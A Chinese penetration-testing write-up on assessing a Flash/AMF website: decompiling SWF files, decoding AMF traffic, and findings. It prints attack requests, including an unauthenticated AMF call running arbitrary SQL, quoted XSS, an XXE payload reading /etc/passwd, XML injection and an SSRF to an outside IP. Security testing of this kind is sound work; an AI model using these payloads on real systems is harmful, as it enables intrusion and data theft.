案例-记一次Flash网站渗透测试

背景

在2025年8月的平凡一天,去客户现场进行渗透测试,遇到了一个Flash网站,缘分妙不可言。Flash技术目前已经被淘汰了,关于它的渗透测试技术分享主要集中在2018年之前,近两年也在持续的报出Flash的CVE。

既然遇到了,那就不能白学,把这乱七八糟的东西重新整理下,水一篇文章也还是可以的。参考文章都放在下面,大部分都是英文的,本文中有很多是来自参考文章中的翻译部分。

注意

为了写文章,查了大量资料去了解相关知识。我在事后查阅资料时,在wooyun drops中发现了大量相关文章,那都是12、13年的东西,没想到还能用上。

我不想为这个过时的,少见的场景花费太多时间,所以很多地方可能都不到位,请大家谅解。

先讲测试结果 网站基于Flash技术,存在大量 swf 文件,数据交互使用 amf 进行传输。本次涉及的漏洞有:

  • SQL注入
  • 未授权
  • 信息泄露
  • 反序列化(疑似)

Flash技术

Flash是一种基于矢量图形的交互式多媒体技术,本身是从Future Splash发展起来的。后被Macromedia公司收购并继续发展其制作动画丰富多采,富于变化性并且相对于其他作图软件文件较小,在网页中无须等它下载完毕就可以显示出来并以流的形式播放,唯一的缺点是需要特定的浏览器插件来支持,目前所有的浏览器都支持Flash,或者说都可以安装Flash的播放器插件。

Flash包括运行时(虚拟机或者叫播放器),播放文件(SWF),商标,创作工具等诸多意思,ActionScript系FlashPlayer中可以使用的编程语言,也是唯一的编程语言。现在的版本是AS3,性能较以前的AS2有很大提高,而且,语言本身抽象得更像一门编程语言。

Flash是一个广泛应用于网页动画、游戏开发和移动应用开发的平台,依赖于ActionScript编程语言和Flash Player。ActionScript是一种基于ECMAScript的面向对象编程语言,专门用于开发Flash内容。 文件后缀为 as,和 JavaScript有点像

Flash的安全机制是其架构中最为关键的组成部分之一,它旨在为用户提供一个安全稳定的运行环境。在Flash中,安全机制的理论基础建立在以下几个核心概念上:

  • 沙盒模型(Sandbox Model) :为Flash应用(尤其是来自不同源的应用)提供了隔离的运行环境,限制了应用对本地系统资源的访问,确保了不同应用之间的独立性和安全性。

  • 策略文件(Policy Files) :用于控制应用程序的网络访问权限。策略文件定义了哪些域可以与Flash应用通信,从而限定了应用的网络访问范围。

  • 安全证书(Certificates) :用于验证应用的可信性,确保了Flash应用的来源可靠,防止恶意软件的攻击。

基本组件和协议

ActionScript虚拟机

ActionScript虚拟机是Flash平台上的一个关键组件,它负责解释和执行ActionScript代码。ActionScript是一种基于ECMAScript的 编程语言,专为Flash环境设计,提供了丰富的事件处理、面向对象编程和网络功能。

ActionScript虚拟机的机制主要包括以下几个方面:

  • 字节码解释执行:ActionScript代码首先被编译成字节码,虚拟机通过解释器逐行读取并执行这些字节码。
  • 即时编译(JIT)技术:在Flash Player的较新版本中引入,可将经常执行的代码段编译为更高效的本地机器码,减少解释执行 的开销,提高性能。
  • 垃圾回收机制:自动管理内存,定期清理不再使用的对象,防止内存泄漏。

SWF文件格式

SWF 文件格式,是 Adobe Flash Player 所使用的文件格式,广泛应用于网络动画和富媒体内容的展示。动态加载SWF 文件意味着在运行时从服务器下载并展示Flash内容,这对于减少初始加载时间和提供模块化内容至关重要。

SWF文件从一个16字节的文件头开始,包含了关于文件的元数据,比如版本信息、帧尺寸、帧频和帧数。紧随其后的是一系列标记(Tag),这些标记定义了SWF文件的其余部分,如定义形状、文本、位图、声音以及动作脚本代码。

AMF协议

AMF(Action Message Format)是一种二进制的数据格式,即数据(actionscript里面的Object, Array, Boolean, Number等)经过了序列化成二进制。

  • AMF 是 Adobe 提出的二进制序列化协议
  • 主要用于 Flash/Flex 和服务器间高效传输数据
  • 支持复杂对象、数组、XML、日期等数据类型

有amf0和amf3,当数据流中有0×11标记时,表示这个数据属于AMF3。

AMF基于HTTP协议,大致处理过程:
获取客户端请求(request) - 服务端反序列化请求 - 处理请求 - 序列化响应(response) - 返回http响应给客户端

相关工具和库

  • Adobe Flex SDK
  • Java的 BlazeDS
  • PHP的 AMFPHP

SWF渗透

以下是我找到的一些参考文章:

对于SWF文件的渗透测试,我总结为以下步骤:

  1. 下载swf文件并保存;
  2. 反编译SWF文件,并导出
  3. 对导出后的 actionScript 代码进行代码审计
  4. 验证漏洞是否可利用

可能存在的漏洞:

  • Cross-site scripting ,XSS攻击
  • Cross-site data hijacking (XSDH?) ,跨站数据劫持
  • Same Origin Method Execution (SOME) ,同源方式执行攻击
  • Open redirections,开放重定向
  • Information disclosure,信息泄露,如用户密码凭据、隐藏的url等
  • Spoofing/Defacement via loading remote objects ,加载远程对象进行欺诈伪造,我理解类似CSRF那种
  • Log forging,日志伪造攻击(大多数情况下不太重要)

测试工具

  • ffdec: JPEXS Free Flash Decompiler: 一个免费开源的 .SWF 反编译软件,在Windows、Linux、Mac上都能用,需要 Java 8或更高版本环境。用于反编译SWF文件,读取源代码并将其完全导出,更多内容见 wiki文档
  • Flash Player: Flash播放器,需在JPEXS中配置。
  • Flash Player 调试器:Flash播放器的debug版本,需在JPEXS中配置。

上面讲的都是Windows环境下的,如果要在Linux和MAC环境,可以去以下几个地方下载

自动审计工具:

  • OWASP SWFIntruder:OWASP 推出的 SWF 安全测试工具,可分析 SWF 与服务器的通信(如 AMF 协议交互),检测参数注入、未授权访问等漏洞。 不太会用,没用明白
  • SWFScan:能反编译 SWF 文件,还内置了安全审计模块,可自动检测 SWF 中的常见漏洞(如 XSS 风险、本地存储滥用、不安全的 AMF 通信等)。支持直接分析 SWF 二进制文件,适合没有源代码时的黑盒审计,能识别危险函数调用和配置缺陷。原地址失效,目前能找到的下载地址在这

测试过程

1、下载swf文件

我日常使用Burp进行渗透测试,用其他的代理抓包工具效果也是一样的。

抓包找到下载swf文件的连接,在Burp中右键另存为,保存到本地的xxx.swf文件。也可以使用wget/curl直接下载

1
2
wget <url>
curl <url> --output xxx.swf

根据网站架构,有些可能是一个主界面swf去加载子模块swf,有些就是单独的swf,可能要下载的文件比较多。

2、反编译 swf 文件

使用 JPEXS Free Flash Decompiler(ffdec)打开该swf文件进行反编译。

反编译后页面如下,软件默认是英文页面,可以在 “setting” - “change language” 处修改为简中。

image-20250817152104211

导出文件

虽然 ffdec 支持查看和修改 actionScript 代码文件,但是还是建议将文件导出到本地统一进行审计比较方便。

导出方式非常朴素,Ctrl + A 全选后,右键导出已选,保存到指定目录中

也可以通过导出功能,导出为 VS Code 工程 或 IDEA工程,区别应该不大。

image-20250817153629891

3、代码审计

自动审计

可通过 swfscan 进行代码审计

安装swfscan需要先安装 .NET Framework 2.0

image-20250825230416138

可以通过 【控制面板】-【程序】-【启动或关闭 Windows功能】-选择启用.NET Framework 3.5(包括.NET 2.0和3.0)

image-20250825231309832

SWFScan用法:

  1. 选择相应的swf文件本地位置或URL
  2. 点击 Get 对swf文件进行反编译
  3. 点击Analyze进行代码审计,分析可能存在的漏洞,漏洞统计数据显示在右下方,如图:

image-20250825232800408

手动审计

  1. 查找敏感信息:密码hash、AccessToken、AccessKey、敏感词、API接口、URI等信息

    参考文章中有用 extract-endpoints 的: 这个 PHP 工具会对文件或递归地对目录应用正则表达式,以提取端点。这对于从 JavaScript 文件中查找 API 网址非常有用。但是,所有类型的源文件都可以被解析(HTML、PHP、JavaScript、Java 等)。

    我用的是自己基于 HAE 正则写的小脚本,用来挖掘敏感信息的。

  2. 查找危险函数

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    
    loadVariables()
    getURL()
    getURLBlankVar()
    getURLParentVar()
    getURLJSParam()
    loadMovie()
    loadMovieVar()
    loadMovieNum()
    FScrollPane.loadScrollContent()
    LoadVars.load 
    LoadVars.send 
    XML.load ( 'url' )
    XML.sendAndLoad ( 'url' )
    LoadVars.load ( 'url' )
    LoadVars.send ( 'url' ) 
    Sound.loadSound( 'url' , isStreaming );
    NetStream.play( 'url' );
    flash.external.ExternalInterface.call(_root.callback)
    externalInterface.addCallback
    htmlText
    htmlVar
    loadClip
    AddDLL
  3. 跟着函数找调用路径

4、漏洞验证

对代码审计的结果进行验证,其实也可以算作代审中的一步。

通过Flash浏览器,配合 ffdec 的调试功能进行验证。

AMF渗透

[[AMF渗透测试]]

AMF(Action Message Format)是一种二进制的数据格式,即数据(actionscript里面的Object, Array, Boolean, Number等)经过了序列化成二进制。

  • AMF 是 Adobe 提出的二进制序列化协议
  • 主要用于 Flash/Flex 和服务器间高效传输数据
  • 支持复杂对象、数组、XML、日期等数据类型

AMF基于HTTP协议,服务端大致处理过程:

  1. HTTP Request:服务端接收到来自客户端的http请求(request),并从中获取请求体内容(AMF数据)
  2. 反序列化:服务端将请求体内容(AMF数据)反序列化为 ActionScript 对象
  3. 处理请求:服务端根据请 ActionScript 对象处理请求,调用执行相应的服务、方法,根据相应的服务、方法的定义,返回执行结果(也是ActionScript 对象)
  4. 序列化:将处理结果(ActionScript 对象)序列化为响应体内容(AMF数据)
  5. HTTP Response:服务器返回http响应(response)给客户端

测试工具

主要是对AMF数据进行序列化反序列化的用途,下面是一些Burp的插件

  • AMFDSer-ngng
  • AMFDserBurp2020-12 用于让Burp与Flash应用程序协同工作的Burp扩展。
  • BurpAMFDser:它借助Xtream库实现AMF请求和响应与XML之间的反序列化。还使用了Kenneth Hill的JMeter源代码的一部分来进行自定义AMF反序列化
  • blazer:一款具有模糊测试功能的自定义AMF消息生成器,作为Burp Suite插件可用于生成和模糊测试自定义AMF消息。 测试过程中,插件没正常运行

MFDser系列我在使用中都遇到了相同的问题,即有些数据包 反序列化解码返回为空,工具会出现报异常。类似 相关issue:

反序列化并编码为xml的效果

注意

普遍这些工具都比较老,现在是2025年了,Flash、AMF大概在2018年比较流行,这些插件可能也有一些适配性上的问题。

至于要不要对这些插件进行优化,再说吧……(🕊咕咕咕~)

实战案例

首先要理解AMF是一种序列化后的数据传输格式,所以存在什么漏洞取决于传递了什么数据,它和平时常用的key=value模式本质上是一样的,因此很多漏洞也是相近的。

部分案例见这篇参考文章:谈谈AMF网站的渗透测试:用户名枚举、敏感信息泄露、SQL注入、未授权访问、文件删除。

接下去我挑一下我遇到的漏洞:

警告

坏了,我的测试记录上都是水印,等我脱敏下

其实写到这的时候感觉没啥好写的,AMF的难点就在对传输数据进行解码,后面的漏洞都比较普通,和正常Web一样。

未授权SQL执行

这个漏洞很好理解,网站定义了一个接口能执行SQL语句,AMF数据解码后就可以任意修改了,没有任何限制,相当于接管了SQL执行功能。而且这个功能可以未授权访问,删除Cookie、Token等认证字段后也能获取到数据。

image-20250825234246822

POC 反序列化解码后如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /AtomLocal/messagebroker/amf HTTP/1.1
Host: xxxxxxx
Connection: close
Content-Length: 842

<ActionMessage>
  <version>3</version>
  <headers/>
  <bodies>
    <MessageBody>
      <targetURI>null</targetURI>
      <responseURI>null</responseURI>
      <data class="object-array">
        <RemotingMessage>
          <destination>manager</destination>
          <messageId>BA53BCCF-2AD0-1027-D6C2-9C5702AB6F35</messageId>
          <timestamp>0</timestamp>
          <timeToLive>0</timeToLive>
          <operation>searchByParam</operation>
          <parameters>
            <ASObject serialVer="1" objClass="com.fsc.base.model.lookup.LookupJsonModel">
              <entry>
                <string>key</string>
                <string>select banner from v$version</string>
              </entry>
            </ASObject>
          </parameters>
        </RemotingMessage>
      </data>
    </MessageBody>
  </bodies>
</ActionMessage>

对这个请求体的一些解释:

这段 HTTP 请求包是基于AMF(Action Message Format)协议的远程调用消息,通常用于 Flex/Flash 客户端与服务器之间的通信。它本质上是一个序列化后的 ActionScript 对象,用于调用服务器端的方法并传递参数,具体解析如下:

整体结构说明

整个消息以<ActionMessage>为根节点,符合 AMF3 协议的消息格式规范,包含版本信息、消息头、消息体三部分:

  • <version>3</version>:标识使用 AMF3 协议(AMF 有 AMF0 和 AMF3 两个版本,3 版本支持更多数据类型)。
  • <headers/>:消息头部分,此处为空(可用于传递附加信息如认证令牌、超时设置等)。
  • <bodies>:消息体部分,包含实际的远程调用内容(一个或多个<MessageBody>)。
核心内容解析(<MessageBody>部分)
  1. <targetURI><responseURI>
    • targetURI:指定服务器端的目标处理地址,此处为null(通常由 AMF 通道配置自动填充)。
    • responseURI:指定服务器返回结果的回调地址,此处为null(客户端会自动处理返回结果的路由)。
  2. <data class="object-array"> 包含实际的远程调用消息对象,这里是一个RemotingMessage(远程调用消息),用于定义具体的服务调用信息:
    • <destination> :指定服务器端的 “目的地”, 即要调用的服务标识,对应名为manager的服务组件(如 Spring 的 Bean 或 BlazeDS 的 Service)。
    • <messageId> </messageId>:消息唯一标识(UUID),用于客户端匹配请求与返回结果(避免异步调用时的混乱)。
    • <timestamp>0</timestamp> :消息创建时间戳(此处为0,可能未设置)。
    • <timeToLive>0</timeToLive> :消息有效期(毫秒,0表示永不过期)。
    • <operation>: 指定要调用的服务器端方法名,这里是调用manager服务中的searchByParam方法。
    • <parameters>:传递给searchByParam方法的参数 此处参数是一个ASObject(ActionScript 对象),类型为com.fsc.base.model.lookup.LookupJsonModel,包含一个键值对:
      • key: "select username from all_users":即参数对象中key字段的值为 SQL 查询语句。
该请求的实际含义

客户端通过 AMF 协议向服务器发送了一个远程调用请求,核心意图是: 调用服务器端manager服务的searchByParam方法,传入一个LookupJsonModel对象作为参数,该对象的key属性值为 SQL 语句select username from all_users

除了这个manager服务中的searchByParam方法,还尝试Fuzz枚举更多的方法来挖掘漏洞,但是没能成功,比较可惜。

反序列化(CVE-2017-3066)

Adobe Flash的反序列化漏洞挺多的,遇到AMF传输的都可以试下各种反序列化。

这个漏洞是基于 Adobe Coldfusion 11.0.03.292866 - BlazeDS Java Object Deserialization Remote Code Execution(CVE-2017-3066) ,简单修改下poc 即可利用,成功收到RMI回连信息,但是后续命令执行遇到问题。

因为时间关系,最终也没完全利用成功。

历史漏洞

XSS

以下漏洞都不是自己挖的,来自网络,只是作为补充

BMC Dashboards 7.6.01 - Cross-Site Scripting / Information Disclosure

Multiple XSS as the AMF stream is unfiltered

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
POST /bsmdashboards/messagebroker/amfsecure HTTP/1.1
Content-Type: application/x-amf
Host: target-domain.foo
Content-Length: 462

........null../58.....    ..
.COflex.messaging.messages.RemotingMessage.timestamp.headers.operation

bodysource.remotePassword.remoteUsername.parameters.messageId.timeToLive.clientId.destination.........
#.
DSId.DSEndpoint.IFDCEEFC2-F318-1B37-7F3A-B438E60525E0..bsd-secure-amf...getUndefinedDataSources<script>alert(1)</script>
   ..
.qcom.bmc.bsm.dashboards.services.facade.RequestParameters.
#.    name.version..208Archive..1.0...
.Cflex.messaging.io.ArrayCollection    ..
..I3DDF906B-55F2-5E38-38C1-6A08D1AC077B..........IFDDDB883-6F0C-D935-5E7B-25CDF25C3538.-dashboardArchiveFacade
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
HTTP/1.1 200 OK
Date: Sat, 02 Oct 2010 00:15:35 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: application/x-amf
Content-Length: 4651

......../58/onStatus.......
.SIflex.messaging.messages.ErrorMessage.headers.rootCause
body.correlationId.faultDetail.faultString.clientId.timeToLive.destination.timestamp.extendedData.faultCode.messageId
..
..acom.bmc.bsm.dashboards.util.logging.BSDException.message
guid!localizedMessage.cause.arguments.priority.traceback.errorCode.causeSummary.System
error. Contact your system administrator for assistance.
.Kcom.bmc.bsm.dashboards.util.guid.Guid!uniqueIdentifier.AdZZZZZZZZJIiCvq53w9q0gerq4j8y0oq.0
.s?flex.messaging.MessageException.errorMessage."$)logStackTraceEnablednumber

codelogged.statusCode..-defaultLogMessageIntro.details#preferredLogLevel+rootCauseErrorMessage
.
......)Method 'getUndefinedDataSources<script>alert(1)</script>' not
found...1Cannot invoke method 'getUndefinedDataSourcesfdd4d

攻击者或许能够使点击了基于 Remedy 知识管理网站链接的用户在其浏览器中执行恶意脚本代码。此类代码将在目标域的安全环境内运行。这种类型的攻击可能导致目标网站的非持久性篡改,或者将机密信息(即会话 ID)重定向到未经授权的第三方。利用此漏洞无需进行身份验证。

XXE&XML注入

Adobe (Multiple Products) - XML External Entity / XML Injection

这几漏洞是http 通道的,严格来说,不能算是AMF下的案例,但是确实也是 Flex 框架的,暂时放这吧,本质是一样的。

XXE

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /samples/messagebroker/http HTTP/1.1
Content-type: application/x-amf

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [ <!ENTITY x3 SYSTEM "/etc/passwd"> ]>
<amfx ver="3" xmlns="http://www.macromedia.com/2005/amfx">
  <body>
    <object type="flex.messaging.messages.CommandMessage">
      <traits>
        <string>body</string><string>clientId</string><string>correlationId</string>
        <string>destination</string><string>headers</string><string>messageId</string>
        <string>operation</string><string>timestamp</string><string>timeToLive</string>
      </traits>
      <object><traits /></object>
      <null /><string /><string />
      <object>
        <traits>
          <string>DSId</string><string>DSMessagingVersion</string>
        </traits>
        <string>nil</string><int>1</int>
      </object>
      <string>&x3;</string>
			<int>5</int><int>0</int><int>0</int>
    </object>
  </body>
</amfx>

响应体

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" encoding="utf-8"?>
<amfx ver="3"><header name="AppendToGatewayUrl" mustUnderstand="true">
<string>;jsessionid=2191D3647221B72039C5B05D38084A42</string></header>
<body targetURI="/onResult" responseURI="">
<object type="flex.messaging.messages.AcknowledgeMessage">
<traits><string>timestamp</string><string>headers</string>
<string>body</string><string>correlationId</string>
<string>messageId</string><string>timeToLive</string>
<string>clientId</string><string>destination</string>
</traits><double>1.257387140632E12</double><object>
<traits><string>DSMessagingVersion</string>
<string>DSId</string></traits><double>1.0</double>
<string>BDE929FE-270D-3B56-1061-616E8B938429</string>
</object><null/><string>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
[...]

XML注入

1
2
3
4
5
6
POST /samples/messagebroker/http HTTP/1.1
Content-type: application/x-amf

<?xml version="1.0" encoding="utf-8"?>
<amfx ver="3"><body targetURI="" responseURI="d" injectedattr="anything"><null/>
</body></amfx>

响应体

1
2
<?xml version="1.0" encoding="utf-8"?>
<amfx ver="3"><body targetURI="d" injectedattr="anything" responseURI=""><null/></body></amfx></body></amfx>

XXE(CVE-2015-3269)

SSRF(CVE-2015-5255)

1
2
<!DOCTYPE foo PUBLIC "-//VSR//PENTEST//EN"
"http://49.x.y.z:8888/protected-service"><foo>Some content</foo>

我的测试日记

在2025年8月的平凡一天,去客户现场进行渗透测试,遇到了一个Flash网站,我打算在这部分说下我遇到的问题及解决方案。

测试环境

  1. 内网环境测试系统
  2. 测试机为Windows,2021版Burp

Flash功能

打开网站,遇到的第一个问题是能打开测试系统,但是功能访问异常,很多功能点击后都是一块白屏,抓包发现网站会下载swf文件。这种情况下,测试肯定是不全面的,因此最好还是能正常访问测试系统的所有功能。

我意识到这是一个Flash网站,功能异常的原因是当前浏览器(用的Burp自带的浏览器)不支持Flash。

接下去尝试更好浏览器,第一反应是用IE,调用IE打开的是Edge(被集成了),但是也不支持Flash;Chrome、Firefox都试了,当前系统的版本都不支持Flash。

网上找解决方法,以下是用到的一些工具和坑

  • 可能是2025年依然能在浏览器中使用Flash的多种方法 ,尝试了其提到的方法
    • CefFlashBrowser,评价:能运行Flash,但是有Bug,遇到下载功能会崩溃
    • chrome53,评价:挺好用的,没发现问题
    • 安装Flash Player,并使用支持Flash的浏览器:这个方案我起初是拒绝的,因为不想要安装太多乱七八糟的东西,Flash Player在我这的印象不是很好。但是后面为了测试SWF,还是用到了。

解决了Flash功能的正常访问,那就可以正常测试下去了。

正常测试

接下去就是正常测试了,我注意到了网站会下载SWF文件,以及调用 amf 接口进行序列化数据的传输,关于这两部分都是值得探索的测试点。但由于时间有限,要优先完成测试,于是我计划先测普通的功能点,在舒适区内先产出,之后再对这两者进行测试。

在这部分,我就提一嘴发现的漏洞有:登录过程的用户名、密码枚举,弱口令用户,功能点未授权访问、越权访问,任意文件下载,SQL注入。

  • 其中就SQL注入值得说一下,它是来自一个隐藏挺深的功能点,访问该功能点后会有wsdl文档,解析该文档找到一个查询接口,在该接口中存在注入点,通过oracle报错注入拿下。

测试的差不多了,虽然产出也不错了,但是还是忘不了 SWF文件和 AMF接口的二进制数据,接下去就是去研究那两个了。

SWF

具体的研究结果就体现在上面的文章中了,只不过当时时间有限,了解的没文章中那么具体,也踩了很多坑。

我批量下载了SWF文件,并通过 ffdec 进行了反编译,之后将数据全部复制到一个目录中。

接下去考虑是否像看过的很多文章一样去挖XSS,但是我放弃了,因为太费时费力了,时间不够,对 actionScript又不了解,放弃了这条路。

之后我对这些SWF文件进行敏感数据挖掘,说白了就是用自己的工具扫了遍文件,期望找到些敏感信息,可惜没达到预期。

没找到很满意的敏感信息,在一个as文件中找到了几个接口

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
	<channels>
		<channel id="my-http" type="mx.messaging.channels.HTTPChannel">
			<endpoint uri="http://{server.name}:{server.port}/AtomLocal/messagebroker/http"/>
			<properties>
			</properties>
		</channel>
		<channel id="my-polling-amf" type="mx.messaging.channels.AMFChannel">
			<endpoint uri="http://{server.name}:{server.port}/AtomLocal/messagebroker/amfpolling"/>
			<properties>
				<polling-enabled>true</polling-enabled>
				<polling-interval-seconds>1</polling-interval-seconds>
			</properties>
		</channel>
		<channel id="my-amf" type="mx.messaging.channels.AMFChannel">
			<endpoint uri="http://{server.name}:{server.port}/AtomLocal/messagebroker/amf"/>
			<properties>
				<polling-enabled>false</polling-enabled>
			</properties>
		</channel>
		<channel id="my-streaming-amf" type="mx.messaging.channels.StreamingAMFChannel">
			<endpoint uri="http://{server.name}:{server.port}/AtomLocal/messagebroker/streamingamf"/>
			<properties>
			</properties>
		</channel>

其他几个都是跟amf有关的,一个跟http相关的接口。

这其实是一个 Flex 框架中用于配置消息传递通道的 服务配置 XML,它定义了一个 AMF(Action Message Format)协议的通信通道,用于 Flex 客户端与服务器之间的远程数据交互。

当时没研究那么多,就对HTTP接口进行测试,服务端返回了报错的xml。

尝试构造xml,xxe进行攻击HTTP接口,最终失败了,没收获。

事后查了一下,这其实是 Flex框架的配置文件,具体解释如下:

  1. <channel id="my-amf" type="mx.messaging.channels.AMFChannel">
    • id="my-amf":给通道定义唯一标识(my-amf),方便在 Flex 客户端代码中引用(如指定远程调用使用该通道)。
    • type="mx.messaging.channels.AMFChannel":指定通道类型为AMFChannel,这是 Flex 中基于 AMF 协议的通信通道类,用于高效序列化 / 反序列化 ActionScript 对象与服务器端数据(通常对应 Java 的 BlazeDS 或 LCDS 框架)。
  2. <endpoint uri="http://{server.name}:{server.port}/AtomLocal/messagebroker/amf"/>
    • 定义服务器端的消息代理(Message Broker)端点 URL,Flex 客户端将通过这个 URL 与服务器建立通信。
    • {server.name}{server.port}是占位符,运行时会被替换为实际的服务器域名 / IP 和端口。
    • /AtomLocal/messagebroker/amf是服务器端消息代理的路径,对应 BlazeDS/LCDS 框架中处理 AMF 请求的 Servlet 映射。
  3. <properties><polling-enabled>false</polling-enabled></properties>
    • properties 为配置通道的附加属性:
    • polling-enabled设为false,表示禁用客户端主动轮询(Polling)机制。AMFChannel 默认支持 “长轮询” 或 “实时推送”,禁用后通常依赖服务器主动推送(如使用 RTMP 通道)或客户端按需发起请求。

AMF

接下去研究 amf 接口

最终用了上文提到的那几款工具,因为没达到预期效果,总是会有解码不了的场景,因此这几款工具我都试了,最后由于时间紧迫,将就用了。

成功对 AMF 接口序列化数据进行解码后,我发现了 未授权执行任意SQL语句、反序列化 漏洞,不过CVE-2017-3066的反序列化最终没有打成功,收到RMI回连了,但是没执行命令。因为时间关系也没法继续研究了。

事后

事后我总结了这次测试记录,形成了这篇文章。

在整理的过程中,又阅读了很多文章,对相关内容有了更多的了解。

对这次没能测试到的很多漏洞,感觉有点遗憾。

这篇文章其实也写的比较匆忙,因为不想为这个过时的技术花费太多时间,感觉性价比较低,但有时又在想是不是应该再深入一下,总是会纠结。

匆匆忙忙,总在跟时间赛跑,好像被什么东西追赶着,我还有一大堆的ToDo List,人说选择很重要,要学会拿起更要学会放下,就这样吧,不多说了。


也许还没完,我刚刷到一篇文章,是一个2024年,较新漏洞的分析:

后续可能就不是针对Flash测试的文章,会针对 AMF 反序列化这系列漏洞进行分析学习。(又是新坑,ToDoList又增加了。。。咕咕咕🕊

有兴趣的朋友也可以一起研究下,我给一些参考文章:

参考文献

文件属性

创建时间:2025-08-16 13:33

修订记录:

  • 2025-08-16 ,此次修订内容| 新建
  • 2025-08-19 ,此次修订内容| 完成1.0版
  • 2025-08-25 ,补充swfscan工具和截图| 完成2.0版

备注: 老技术,收藏夹吃灰就行

0%